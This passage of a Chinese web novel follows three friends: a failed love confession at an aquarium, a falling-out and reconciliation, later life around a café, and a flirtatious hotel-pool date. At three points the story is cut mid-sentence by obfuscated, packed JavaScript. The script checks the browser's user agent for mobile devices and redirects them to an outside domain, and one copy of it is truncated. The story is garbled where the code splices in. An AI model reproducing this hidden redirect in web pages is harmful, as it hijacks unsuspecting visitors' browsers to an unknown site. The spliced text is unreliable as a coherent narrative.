然而,研学之旅和周禧想得还是不太一样,她那被偶像剧荼毒过的脑瓜子想不到,海洋馆里怎么有这么多人。 那场面就是人人人人周禧人人人……人群里甚至没看到李铭则在哪里。 如果她会都教授的时间暂停术就好了,“嗖”的一下让这些人都静止,再把李铭则“啾”的一下吸到自己面前,然后她撅起嘴巴…… “这头白鲸很喜欢逗小朋友,和人亲亲哦~”导游的声音从“小蜜蜂”传出,打破了周禧的幻想。 田恬戳戳她,指着电梯方向的小旗子:“六班好像去二楼了。” 周禧蠢蠢欲动,想离队。 田恬死死挽着她胳膊,“你要是被我小舅抓住了,我是不会捞你的!” 周禧遗憾地看着李铭则的身影消失在上行的电梯里,心绪不佳,听着游客聒噪的说话声,替那些展馆里的动物觉得吵闹。 终于熬到了自由活动的午饭时间,快餐区的椅子上坐满了人,王知夏和田恬都从家里带了便当,换着分吃,周禧没拿,她怕饭味会沾染到她的橘子香水味情书。 没错,为了防止她到表白的时候紧张地说不出话来,周禧还备用了一封情书。 她吃不下饭,只是买了杯冰可乐喝了几口,就催姐妹们快一点吃。 田恬翻了个白眼,加快进食速度,还给周禧也塞了个海苔饭团。 周禧一边说着“我不吃我不吃”,一边忍不住砸吧嘴,这饭团的米用油翻炒过,好香嘛嘛嘛…… 吃完又漱了口擦了嘴,对着手机屏幕确认脸上没沾到脏东西。 周禧深吸一口气,撸起校服袖子攥着拳头去寻人了。 田恬捏捏她的手腕:“不知道的还以为你要去约战呢。” 周禧:“这怎么不算我的爱情保卫战呢!” 田恬:“你再说这些土味情话我就跟你绝交。” 她们在场馆里转了大半圈,终于在那段并不长的海底隧道里找到了李铭则。 不知道是不是周禧脑补了男主的氛围感镜头,明明很嘈杂的环境,可她看到李铭则安静坐在玻璃窗边的台面上写写画画时,好像看电影慢动作一样,只觉得连时间都被拉长。 田恬站到入口位置,帮忙盯梢。 原本要把李铭则身边同学引开的王知夏,因为李铭则身边根本没人,所以走到了出口的位置,假装看小丑鱼。 李铭则感觉到了一丝异样,抬头,不算意外地看见了周禧。 他面无表情地合上手里的本子,打算走。 周禧快走一步,走到他前面。 李铭则皱眉:“有事?” 周禧点点头。 李铭则停住,看着她,等她开口。 周禧怂了。 李铭则抬眼看了看前方出口,看到周禧的好姐妹站在那边,还偷着往这边瞧,对上他的视线了又心虚地扭开脸假装看鱼。 李铭则有点烦躁,已经半年了,他自觉对周禧并没有那种心动的感觉,甚至被她追得有点烦了。 他又问了一遍:“有事吗?没事的话让一下,我们班快集合了。” 周禧的嘴巴像被封印了一样,简单的那四个字就是说不出口。 还好她有准备。 她把包里的那封信拿出来,粉色的信封上贴着个蓝色的心形封口贴,里面是什么内容不言而喻。 李铭则一直挺受欢迎的,情书也收到过一些,但都是别人托人转交或是塞在他的桌洞里。 这种当着面交给他的,周禧还真是第一人。 但他并不想接。 他不伸手,周禧就有些尴尬。 尴尬之后就开始莽勇,硬是要把那封信塞到他手里。 李铭则手里还拿着个笔记本,被她这一拉扯,本子掉到地上。 周禧又连忙弯腰捡起来还他,偏偏被她看到刚才他画的那一页。 李铭则皱眉把本子夺回去,似乎是责怪她乱窥探别人的隐私,瞪了她一眼就走了。 好消息是他走的时候把她给的情书随手夹在本子里一起带走了。 坏消息是她看到的那一页,他画了一个女孩子。 男主角都离场了,王知夏和田恬一起围过来,观察周禧的表情,感觉她看起来像是要哭了,而且不像是“喜极而泣”。 三人一起沉默。 周禧终于开口,复盘刚才的情形:“他刚在这里画画,背景是个笑脸的魔鬼鱼,然后前面站着个女生,女生是长头发扎着马尾,眼睛挺大的……” 虽然只是一眼,但那一眼就像按下快门键定格了那副画似的,周禧能记得每一个细节。 周禧说着说着,抬头看向王知夏,一种怪异的感觉涌上心头。 王知夏这个马尾造型,怎么跟画里那么像,王知夏的眼睛也很大…… “他刚才走的时候是不是看你了啊,王知夏?”周禧忽然问。 这个问题让王知夏不知道怎么回答,好像是看了,她摇头又点头:“我没注意。” 周禧又问:“你们俩以前是一个初中的?” 王知夏:“啊……是吧……” 周禧化身福尔摩斯,把自己搜集到的情报捋顺:“我听他朋友说,他初中的时候有个暗恋的女生。” 王知夏:“……” 田恬原本还没明白为什么要问王知夏,这会儿听懂了,听懂以后用力拍了周禧的背一巴掌:“那关王知夏什么事?喜欢她的人多了去了,她哪里知道!” 周禧垂头丧气,重复着,“是啊,喜欢她的人多了去了,她哪里知道。” 王知夏不敢说话,也不知道该说什么,莫名感到抱歉。 下午坐校车回学校的时候,周禧没有跟她俩坐一起,自己跑去第一排的单人座位坐着了。 王知夏坐在后面,怯生生地偷偷打量周禧,无措地问田恬:“怎么办啊,她好像生气了。” 田恬也不知道怎么办,她替王知夏打抱不平,可又觉得周禧挺可怜的,因为她是真的很喜欢李铭则。 所以问题还是出在李铭则身上!狗男人! 田恬出馊主意:“要不找人把李铭则打一顿吧?” 这纯属是在说胡话了,首先,她们根本不知道去哪里找人,其次,真打了李铭则,那跟周禧的友谊就彻底完蛋了。 王知夏抓着田恬的手,叹了口气。 屋漏偏逢连夜雨。 本来周禧就因为发现了李铭则心有所属感到难过,晚上在学校的Q群里又看到一个校花校草的无聊票选活动,看完更崩溃了。 火热排行榜上,她的好朋友王知夏跟她的心上人李铭则赫然在列。 而且好巧不巧地就并排放着,看起来像情侣头像…… 周禧“哇”的一声哭嚎出来,趴在卧室的书桌上,用额头撞桌板,想跟这个世界决裂。 第二天周禧依旧低压气场,她不是迁怒王知夏要跟她翻脸,只是不太想面对她,躲着走。 嫉妒王知夏?可能有点吧。周禧当然知道王知夏漂亮有气质,能歌善舞十项全能,是个男的都会喜欢她。 可李铭则不行,就不行! 除了嫉妒,还有点羞恼,就是……就是有点没面子。 她成天在王知夏面前讲自己怎么追李铭则,有多喜欢李铭则,结果呢,人家李铭则不买账还反手给她埋了个雷。 太丢人了! 以前课间操结束的时候,她们都会一起去买水吃零食,可今天周禧刻意先走一步,不跟那俩人同行。 王知夏觉得连田恬都被自己连累了,心里过意不去,还是想自己解决两人的矛盾。 她专程买了周禧爱吃的小熊软糖,回教室的时候从周禧桌边走过,把糖默默放到她的书上。 周禧还别扭着,没看她,也不要糖,转手就把糖送给了同桌。 王知夏抿着嘴。 周禧固执地不看她。 不成熟的青春期少女并不知道如何化解友谊危机,那时候也没听说过什么叫“雌竞”,就算听说了,周禧也决不承认她要跟王知夏竞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15027261|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争什么。 她就是,就是,就是委屈和丢脸而已…… 知道有人为她的情绪托底,才敢任性得这么有底气。 同桌打量这闹脾气的两人,也不敢吃那个软糖,悄悄从桌子下面把糖塞回到周禧的书包里。 这天放学也早,因为要休五一假了,原本她们仨还约好了要一起去看漫展,现在看样子也要泡汤了。 但田恬还是不死心地等放学以后去问了周禧一嘴:“你明天还去漫展吗?” 周禧一边往书包里塞作业本,一边回答:“不去了,明天肚子疼。” 田恬:…… 骗人都这么敷衍吗? 周禧背上书包就走,王知夏在教室门口站着,依旧不知道要说什么,就只是盯着周禧。 周禧往左走,她就往左挡,周禧往右走,她就往右挡。 周禧气笑了,看她一眼,拔腿往后门跑走了。 王知夏:…… 整个假期无聊又漫长。 周禧每天都窝在家里无效写作业,就是那种也没干什么别的事,可是拿着笔一天写不完一套卷子的状态。 她看到田恬更新的状态了,她们俩自己去了漫展,拍了很多漂亮coser,还买了好多美貌周边。 周禧一点都不羡慕。 另一边,田恬和王知夏逛完漫展一起去吃饭,吃完了累到不行,却没急着回家,又一起进了街边一家理发店,打算修剪头发。 琴高虽然对学生的发型没有明文限制,但也不能太出格。 长发多半是像王知夏这种,扎个高高的马尾。 中等长度的就是周禧那种齐刘海波波头,也有的班主任嫌刘海会遮眼睛,要求学生把刘海用夹子夹起来或者用发箍撸上去。 再短一点的就是像田恬这种利落短发,露着耳朵像个假小子,最受训导主任喜爱。 她俩并排坐在镜子前,跟理发师的要求都是“简单修一修”,没打算做多大变动。 可是王知夏看着镜子里自己的披肩发,忽然就想起来那天周禧描述完李铭则的画以后,看向她的眼神。 是一种又可怜又可气的试探与防备。 王知夏心里一刺,改了主意,让理发师给她剪短,“剪成那样吧。” 她指着田恬的脑袋。 田恬和理发师都吓了一跳。 理发师很会说话,先夸了王知夏天生丽质什么发型都会好看,又提醒她如果做这么大的变动可能会不适应,看不习惯。 这是非常谨慎的劝阻了,因为之前有过先例,有顾客长发剪短又后悔,坐在他们店里大哭,搞得又退钱又道歉的,很难看。 王知夏却打定了主意,要剪短头发。 理发店的音箱正放着风靡一时的电视剧主题曲,又土又嗨的战歌响起:“为所有爱执着的痛,为所有恨执着的伤~” 田恬劝不动王知夏,很想把周禧拉过来用力啃两口。 最后王知夏折中了一下,剪了算是半长发,跟周禧差不多的长度,但是没有剪齐刘海,而是把前面的头发编成了细麻花辫拢到耳后,露出来了光洁的额头。 就像周禧以前评价过的,王知夏就算套个麻袋都是麻袋仙子。 她剪短头发也丝毫不影响她的漂亮。 可她假期后顶着新发型走进教室,还是引起了同学们的注意。 尤其是周禧的注意。 本来经过这几天的冷静,周禧已经自我安慰,自我消化好了,正不知道怎么跟王知夏开口和解。 可是看到王知夏剪了短发,周禧除了震惊,还有点拿不准主意了,不知道她这是要跟自己重修于好还是彻底决裂。 脑袋空空地从书包里往外拿书,拿到最底下,带出来一包小熊软糖。 是王知夏之前买给她的那包。 周禧又一次的,不顾形象“哇”的一声哭嚎起来。 从后门进教室看早读的班主任,走到周禧旁边拿着课本拍了拍她脑袋:“不背书,干嘛呢?” 周禧红着眼框把眼泪憋回去,窝窝囊囊地跟赵老师说:“我、我肚子疼……” 班主任往旁边一瞥,看到田恬正盯着她看,挥挥手:“你送她去医务室看看。” 田恬立马冲过来搀着周禧往外走。 刚走出门,一声不吭的王知夏也偷溜了出来,搀上了周禧的另一只手。 周禧还是不习惯王知夏的新形象,上上下下看了她半天。 原本绷着脸的王知夏被她看久了,居然有点脸红,回瞪她一眼。 被瞪了,周禧安心了。甩开左右两只搀扶她的手,尴尬地说:“我,我又不疼了。” 她们仨面面相觑,都没忍住,“扑哧”笑出声来。 16.窗边的风信子 和好朋友相拥而眠的夜晚睡得特别踏实。 但是感觉也没睡多久天就亮了。 王知夏先醒的,闭着眼问旁边的周禧:“是不是地震了?” 周禧迷迷糊糊的,抱着被子缩成一团,想把头蒙起来。 王知夏问完那话,一个激灵掀开周禧的被子,又说了一次:“好像真地震了!” 周禧被冻得打哆嗦,胳膊上起了一层鸡皮疙瘩。她比王知夏更熟悉这种响动,拉回去被子劝她再睡一会儿:“圈宝吧?” “哦,圈宝啊。”王知夏揉着眼睛打了个哈欠,却也睡不着了,拿起手机看日程表,一边输入编辑,一边脑子里计划着未来一周的工作安排。 她不睡,周禧也被带的睡不着,满脸怨念地穿衣服起床。 客厅里,“地震”制造者其实不止圈宝一人,田恬正在跟着墙上的投影伸胳膊踢腿。 王知夏是保持着每周瑜伽普拉提锻炼的,没看明白田恬这练的哪一招,还是邵海从厨房端着几份刚做好的三明治出来,跟她们打招呼的时候解释田恬在练五禽戏。 田恬做完了一整套动作,归纳吐气,然后抬手要她俩也去跳一遍,“昨晚睡得太沉了,落枕脖子疼,松快一下。” 王知夏挺感兴趣,周禧肚子咕噜噜只想吃饭,可是被田姐苦口婆心地劝说强身健体的必要性,不胜其烦只能跟着一起跳操。 不算宽敞的客厅里立马组建了一支健身舞队。 身为“领舞”的田恬其实并不熟悉功法动作,跟着镜像指导去做的时候经常左右不分; 周禧更是来凑数的,手和脚都伸展得不到位,学虎像猫,应付了事; 只有王知夏手脚协调,即使没练过这套气功,也很有仙风道骨的样子。 几个人最整齐划一的动作是那套“熊运”,模拟狗熊举着手在胸前晃动。 邵海坐在饭厅里等着她们来吃早饭,看到这儿忍不住拿起手机来录像,太像三个默契的煤气罐原地打转了。 再到下个动作猿戏,勾手摘桃的动作刺激到了圈宝,他大喊着:“是奥特曼!” 然后做出支手臂的经典动作,“biubiu”地冲散了气功队伍。 田恬做完操觉得元气满满,跟邵海商量起今天店里的工作,“网上招聘效率也太低了,一会儿你打印个招聘启事贴到店门口呗,正好最近人多,说不定就有愿意来兼职的客人。” 王知夏吐槽她:“哪有你这么自产自销的,去你店里吃饭的,什么消费水平啊,还出来打工?” 田恬不服气:“怎么不可能呢,你看小帅,那不就是想积累点经验以后自己也开店嘛。” 王知夏:“小帅也是想瞎了心,他老板说不定经验还没他多呢。” 周禧在心里点头附和,嘴上却转移话题,“哎,你跟黎总约的几点啊,一会儿直接去吗?” 王知夏看眼时间,约的午饭,她上午还可以去咖啡馆里帮会儿工。 不然按昨天那个火爆程度,在坐的几个人都得累翻,练多久五禽戏都不顶用。 “你真是个很好的人!”说这话的是喝完牛奶突然对着王知夏发声的圈宝。 大人们一起扭头看向小孩。 邵海问他:“为什么这么说?” 圈宝在众人的注视下,点着脑袋解释:“你很好,很好看。” 邵海:“就完了?” 圈宝于是补充:“特别好看!” 大人们:…… 好朴素的价值观。 王知夏哭笑不得,不仅要心甘情愿给田恬免费打工,还承诺了给圈宝买机器人玩具。 她私下问周禧:“怎么感觉被他们一家子下了蛊啊?” 周禧深以为然猛点头:“他们全家都有毒。” 接着又不禁聊起来田恬家那个特地为她们俩保留的客房:“你也睡过了,你感觉,真是给咱俩备着的吗?不是故意说什么煽情的话硬控我吧?” 这事王知夏倒挺确定的:“当初装修的时候田恬给我发过几次产品图,那个床和五斗柜都是我挑的,没问你,可能是觉得我来住的概率比你大吧。” 周禧于是又继续感动了,愿为甜总肝脑涂地。 这还没完,王知夏又撒了一把猛料:“那个墙角也是给你准备的啊,你没发现?” 她说这话的时候正在擦吧台的台面,手里抹布指着有最大的阳台玻璃窗的那个角落。 那里也是周禧最喜欢坐的卡座位置,温度光线都很适宜。 可是盯着角落盯了半天,周禧也没想明白,为什么说那里是给她准备的。 王知夏只好再次提醒她:“你真不知道啊,你记不记得以前你写过一本小说,那个小说里就是有你理想的生活嘛,一个开咖啡馆的作家,有一个最舒服的属于自己的墙角,抬头就能看到院子里的风信子。” 周禧感觉王知夏说的这些话好熟,似乎真是她写过的,但又记不真切。 她甚至产生了自己是不是发生过车祸失过忆这样狗血的猜测,不然为什么姐妹们都还记得那么清楚,只有她忘了呢。 王知夏无情地戳破她的偶像剧幻想:“因为年纪大了记性不好了呗,我现在如果有事不记在备忘录里,转头就忘了了。哎哎光跟你说话去了,我刚才要找哪个豆子来着……” 周禧发了会儿愣,走到据说是给她设置的那个墙角,坐在沙发上往外望,太阳光正耀眼,窗外的一小块土地里果然开着蓝色粉色的鲜花。 她不是才看到那些花,之所以之前视而不见是因为她根本不认识……原来那玩意儿就是风信子啊! 周禧没发多久呆,就看到院门口又有人走了进来。能帮好友招揽生意,周禧并不觉得烦,主动起身去拉开门,笑脸相迎招待客人。 然而刚进店里的女孩,并不是要喝咖啡,是来问招聘店员的事的,“我刚才路过,看到门口贴着的告示说需要兼职服务员,想来试一下。” 田恬用围裙两侧吸水的软毛擦干净手上的水,表情得意地看向王知夏:“你看我说什么来着,原始的方法未必不管用!” 王知夏不搭理她,正飞速把晾透的曲奇小饼干装袋,装完这一筐她就要走了。 邵海抱着一箱啤酒路过,看到来应聘的女生感觉有点面熟,正回忆是不是之前的客人,那个女生也认出了邵海,对他挥挥手:“嗨~上次我去电台面试,路过你们这边,你送了我一杯水。” “哦哦。”邵海想起来了,对她友善地点点头,搬酒去库房。 田恬对这女孩的第一印象不错,觉得她长得挺有气质,说话声音也好听。 店里还没什么客人,她就拉开一把椅子跟女孩坐下简单聊了几句。知道了女孩是学播音专业的,上次去广播台面试没面上,又着急交房租,正好路过看见有兼职就试一下。除了这一家,她还有两个兼职,一个是在家录有声小说,一个是周末去机构给小孩上朗诵课。 那两个兼职听起来还跟她专业相关,咖啡馆似乎八竿子挨不着。 女孩笑起来的时候,左边脸颊有个小小的梨涡:“很浪漫啊,好多女生小时候都幻想过长大开个咖啡馆或者花店、书店之类的吧,是一种很自由的生活想象。” 在场的曾经确实这么幻想过的三个女生集体沉默了。 王知夏已经打包好了饼干,摘了围裙打算出门赴约。 她拿了一包小饼干送面试的女生吃,因为知道她是自己挂职学校的毕业生,忍不住以老师的口吻提醒这个初出校门的年轻人:“想象是想象,生活是生活,继续试试广播台,多找几家,别嫌麻烦。” 当然,田恬最后还是当场就招了这个女孩,只是个兼职而已,应急更重要。 打动田恬让她拍板决定的,除了形象气质,还有女孩的名字,她大名倒是挺正常的,但她说她艺名“楚小美”。 田恬看看正在做咖啡的小帅,觉得这个小美就该是她们店里的人! 周禧对此见怪不怪,田恬嘛,总是靠感性和直觉做决定的,打动她的点也是千奇百怪的。比如当初她们相识,田恬是因为觉得周禧的眼睛长得很像她姥姥家养的大黄狗才特别喜欢她、主动亲近的…… - 或许是因为王知夏关于窗边墙角的提示,又或许是因为小美那句关于女生小时候的浪漫想象,周禧这天晚上回到田恬家再次翻出了那本小说——就是她高中写的那本。 内容并不长,大概也就写了一万多字,一笔一划的豆腐块字体。因为所承载的感情太过认真,之前周禧只看了个目录和王知夏、田恬写的序就不敢看了,现在她继续翻页,看到了故事的开始。 “我叫应悦,是一个知名的悬疑小说作家……” 才看了一句,周禧就破功了,她忍不住笑出来,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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确实没来了,自从那天周禧不留情面地说他自作多情,可能恼羞成怒黯然离场了吧。 那不是重点,重点是…… “你是不是很喜欢我的大作啊,这本子都被你摸出毛边了。”周禧皱眉看田恬。 “哦,无聊的时候确实看了挺多遍,想知道后续。”田恬轻描淡写地骂她,“像你们这种挖坑不填,弃坑断更的作者,吃方便面都没调料包的。” 骂完又觉得不恰当,因为现在有没有调料包对周禧来说好像也没区别了。 田恬正想往回找补两句,周禧却没在意,狡黠地一笑:“这样吧,你求求我,我就把这坑给填上怎么样?” 田恬一愣:“什么意思?” 周禧也是临时起意的,她看一眼手机的日期:“我的年假还剩21天,你不是不让我出去旅游嘛,反正闲着也是闲着,我就蹲你咖啡馆写小说呗。” “哦,那我求求你,把坑填了吧。”田恬面无表情地顺着她的话说。 周禧:“既然你诚心诚意地求了,那我就大发慈悲地答应吧。如果一天写一万字的话,20万字轻松拿捏。” 田恬白了她一眼,转身出去洗漱了。 似乎是琢磨了很久这事,睡前田恬又来问周禧:“你真得要写吗?那个小说。” 周禧坐在被窝里点了点头。 田恬好像眼眶一下子就红了,她恶狠狠地瞪周禧,语气很凶来掩饰自己的颤音,“你最好别骗我,再坑的话给你寄刀片了!” 虽然不知道为什么田恬看起来比她这个创作者还要激动,但周禧好像一下子就被点燃了,她握着拳头,像无厘头电影里那样一挥:“接招吧!旷世巨作!” “叮——”手机的信息提示音切入的很卡点。 田恬得到了她的承诺,心满意足地退出去,把门也给她带上。 周禧这才低头看手机,是秦朗发来的消息,问她是不是回过家。 周禧:“没啊。” 秦朗:“快递之前放在你门口,不见了,你问问物业是不是清洁工收垃圾的时候给你拿走了。” 实际上是打扫阿姨给她收进家里了,定期来她家打扫卫生的阿姨今天去过,发信息和她联系的时候,周禧正在咖啡馆忙,没怎么在意。 周禧没有跟热心的邻居解释发生了什么,不过如果她剩下的假期不去旅游,就在这里度过的话…… 孤独的夜晚,有些蠢蠢欲动的心思不安分地控制了她打字的手指。 周禧:“你之前说那个游泳的地方,在哪里?” 秦朗:“说起来有点复杂,明天我休息,陪你去。” 周禧:“好啊~” 17.无边泳池 周禧如往常时间起床的时候,邵海已经晨跑完,还从早市买回早餐并且冲完澡了。 她看着脖子上挂着毛巾,头发还没完全擦干的朋友,心里“嘶”了一声,感觉自己还是得早点搬回去,瓜田李下的,避避嫌。 田恬给圈宝整理好衣服,拉着他坐过来吃早饭:“托你姨姨的福,你今天可以吃两顿早饭~” 圈宝对满桌碳水毫无兴趣,专注地吃纸袋子里的肉脂渣,平时他爸妈都嫌这个油太多,不乐意给他吃,偏偏越吃不到的就越吸引人。 “怎么了?”田恬敏锐地感觉到了周禧似乎心里有事。 周禧斟酌着开口,面上一本正经地胡说八道:“想小说呢,既然要做那就不能随随便便,我想着今天要不要约一个出版社的朋友,跟他聊聊大纲。但是又怕咖啡馆那边……” “你去聊你的!咖啡馆不用你操心,今天小美上岗,我正好给她做新员工培训。”田恬立马接茬,同时松了一口气,刚才还以为周禧又有哪里不舒服了呢。 周禧就知道田恬最爱她,她像小时候撒谎说要去补习班,结果却偷跑出去玩的小孩似的,心里又高兴又愧疚。 还不自觉地摸了摸鼻子,没变长。 不想跟田恬再聊这事了,周禧转移话题:“你为啥那么执着于做新员工培训啊?过一把老板瘾?” 田恬用力咬了一口炸糕,白糖汁溅出来,落到桌子上,她又抽了湿纸巾擦桌子,“嗯,先礼后兵,第一天上班还是先把规矩立好,有熟人在,我不自在,要是说得严厉了小孩儿又没面子。” “好吧。”周禧点头表示理解,可心思却已经飘飞到不知哪里去了。 因为不同路,周禧没跟田恬一起出门,晚半个钟化好妆以后,自己打车去了秦朗发她的酒店地址。 嗯,是酒店。 她在出租车上给秦朗发消息说了预计到达时间,秦朗还挺靠谱,比她早到五分钟,坐在酒店大堂门口的沙发上等他。 路上周禧已经查过了,这是个新开的高档酒店,超五星规格,景观确实不错。 不过…… 秦朗说什么“泳池说起来有点复杂”,就完全是扯淡了。一点都不复杂,就在酒店31楼,只是不对非入住客人开放。 也就是说,来这游个泳,还得先开个房。 周禧觉得,秦朗这人,有点意思。 碰上面,也没说什么话,她跟在秦朗身后到顶层前台办理入住,等待的时候随便看了看,高挑的落地窗把海天全都框在眼前,周禧第一感觉不错。 秦朗对着屏幕录脸,服务员轻声细语,提醒同行人员的证件也需要录入。 秦朗一只胳膊肘在台面上,看了眼周禧,又对服务员笑着说:“她不住。” 服务员很有职业涵养地说声抱歉,也没再追问,把房卡交到秦朗手里。 秦朗把卡揣进包里,他今天穿得很休闲,没有任何图案的白T,蓝色牛仔裤,胸前倒是背了个爱马仕的灰色斜挎包。 两个人进电梯,直接去泳池那一层。 坐高速电梯下降的太快,会有耳朵不舒服的问题。周禧预防性地吞了几口唾沫来平衡耳压,结果头顶忽然落下一只大手。 她仰头去看,秦朗在她头上轻轻拍拍就把手拿开了,嘴角弯着,像逗小孩似的跟她说:“有根呆毛。” 周禧露出困惑的表情。 秦朗拍她的那只手插.进裤子口袋里,接着掏出来一管口香糖。 他推出来一粒,拉起她的手推到她掌心,“需要吗?” 蓝色的,大概是薄荷味的。 电梯都已经到楼层了,这时候吃不吃的其实已经无所谓了。 周禧不给面子地把手掌反过来,那颗口香糖拍回了秦朗手里:“不要。” 她先迈出电梯,秦朗走在她身后,把她不要的那粒口香糖丢进嘴里。 在泳池服务台报了房号领了更衣室的手环,空着手来的周禧到商品柜台挑泳衣。 秦朗也没问她为什么没带泳具,陪在她身边当军师:“白色那套好看。” 白色的是套连体泳衣,虽然腰上遮得很严实,但是吊带、三角裤的款式还挺省布料的。 周禧不是保守派,比基尼她也穿过,只是谁问他的意见了啊? 她对秦朗笑笑:“你喜欢啊?那问问有没有你的尺码呗。” 秦朗也不觉得被呛了,不过学会了闭嘴,让她自己挑。 最后周禧挑了套分体的运动款泳衣,朴素得没有任何亮点。 亮眼的是她挎在手里那个粉色独角兽游泳圈。 秦朗这次讶异地挑了挑眉:“不会游泳啊?” 周禧坦然:“不会。” 秦朗失笑,摸了摸眉毛,似乎在思索要怎么教她游泳。 但他想多了,周禧就没打算学游泳,她从小到大去过无数次海边,每次都套着游泳圈,就没想过当个海边的旱鸭子有什么不对的。 从更衣室直达泳池,因为是工作日,泳池空无一人,只有他俩。 还有个靠墙坐在梯子上的工作人员,应该是救生员。 秦朗率先跳进了水,然后站在池边,伸着手扶了周禧一把。 周禧不会游泳,但并不怕水,她腰上挂着游泳圈,两只脚在水里拨拉,轻盈地在水面上飘来飘去,飘到了泳池的另一边。 这是个无边泳池,池子尽头是落地玻璃窗,窗外是望不到头的大海。 确实满足了周禧既想下水又想看海的要求。 但又有点像是隔靴搔痒,没挠到点上啊。 周禧看向秦朗,他并没有自己去游,一步步跟在她身后,比墙边那个救生员更让人安心。 泳池里的他只穿了一条黑色泳裤,周禧终于能清楚看到他的身材,肌肉线条紧彭彭的,胸口往下隐没在水里,却又因为水面折射的关系被放大,显得更粗壮了。 她说的是腰。 “你怎么不游啊?”周禧问他。 秦朗:“陪你。” 周禧:“先游两圈看看实力。” 秦朗笑笑,从她身边走过,往深水区那边去了。 路过她身边的时候,还贱兮兮地用拇指和食指弹起来了个水花,弹到周禧脸上,凉凉的。 周禧想骂他两句,又觉得有点好笑。 而他已经像条矫健的鱼入了水,长臂轮换,脚尖踢水,蹿了出去。 不知道这算不算炫技,秦朗游到对岸的时候,在水里做了个丝滑转身的动作,像电视里的运动员那样用脚蹬着墙壁折返回来。 他游得很快,一个来回没多久,游到周禧身边时停下,猛地从水里冒出来甩甩头,水都甩到周禧身上了。 周禧嫌弃地后退几步。 秦朗抹了一把脸上的水珠,主动提出来拉着周禧游几圈。 别说,他这样头发湿漉漉滴水的样子,挺性感。 周禧还是套着游泳圈,她以为他说的拉着她游,是拉着她手让她趴在游泳圈上往前走。 结果没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15035142|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拉的是她的脚,好险没把她给掀翻。 不过适应了几秒以后,这样躺在游泳圈上“仰泳”的感觉好像也不错。 周禧让大脑放空了片刻,水面上有窗外透进来的阳光,波光粼粼晃得人睁不开眼。 她看窗外的那片海,海没有回望,却像身下的水波似的,摇摇晃晃给她舒缓的抚慰。 她又抬头看屋顶,屋顶的银色反光材料映出了她模糊的身影。 她最后抬起脖子看秦朗,秦朗两只手握着她的脚腕,正在往后倒退走路。 他这个姿势,是面朝着她的腿的,即使有游泳圈的遮挡,即使她穿的平角泳裤保守又朴素,周禧还是有些不好意思了。 她欲盖弥彰地把游泳圈往下压了压,踢了他一脚,要站起来。 那一脚踢到了温热的肌肤,应该是踢在了他的肚子上。 秦朗接收到信号,“啧”了一声松开手,却又抓住她的小腿往自己的方向用力一带,将她瞬间拖到了自己身前,“下次能不能先打声招呼再动作?” 周禧装傻:“嗯?什么?” 秦朗学她说话:“嗯?什么?” 说完又去抓她的脚,要示范一下如果他没扶稳把她推翻进水里会怎么样。 周禧察觉到了他的意图,有点害怕地抓住他肩膀,求饶里带着威胁:“别弄我!我会生气!” 她这么说了,秦朗也就没动她了,可她手搭在他肩上,两人的距离又近,连夹在中间的游泳圈都被压得发扁。 秦朗抬手,把自己肩膀上她的手抓下来,笑里带着痞气:“小姐,别冤枉人,我什么时候‘弄你’了?” 泳池水温不高,周禧却觉得脸颊在发烫。 这话说的时候挺随意的,可被他复述出来怎么就好像不正经了。 这男的果然不是什么正经人。 没关系,正得她意。 他只是虚虚地拢着她的手,如果她想挣脱随时都能抽离。 可她没有,反而把手指插进他的指缝里,变成纠缠交握的手势,在水里,这动作是别扭的,因为突兀,意图反而昭然若揭。 周禧问:“我们是不是游了很久啊?累了。” 秦朗看了眼墙上的挂钟,才半个多小时而已。 他当然希望约会时间更久一点,不确定周禧的想法,秦朗顺着她的话说:“累了就休息会儿。” 周禧又问:“方便借你房间洗个澡吗?我看这边更衣室的淋浴间挺冷的。” 这次秦朗没说话了,直视着她。 周禧并不觉得恼,和他十指交叉的手抽了回来,“不方便吗?” 秦朗:“方便,只是在想要不要去前台补录一下你的信息。” 周禧听到这话有点羞了,在秦朗面前拍起一个大水花,将乱飞的水珠连同他之前跟服务员说的话一起还给他:“我又不住!” 秦朗双手扶着她的游泳圈,防止她乱扑腾把自己扑翻了,笑着拉着她的游泳圈把人拉上了岸。 比起直接的肌肤相亲,去往房间的那一路规规矩矩反而更让人心慌意乱。 周禧偶尔跟他视线碰上,在心照不宣地沉默中生硬地扭头,感觉耳朵里能听见自己巨大的心跳声,扑通扑通的。 刷开房门,原本昏暗的房间自动拉开了窗帘,窗外依旧是一片山海,视野极好。 门在身后被关上,“咚”的一声,好像那晚她在玄关换衣服时,连廊的安全门发出的那声闷响。 周禧的心也跟着颤了一下。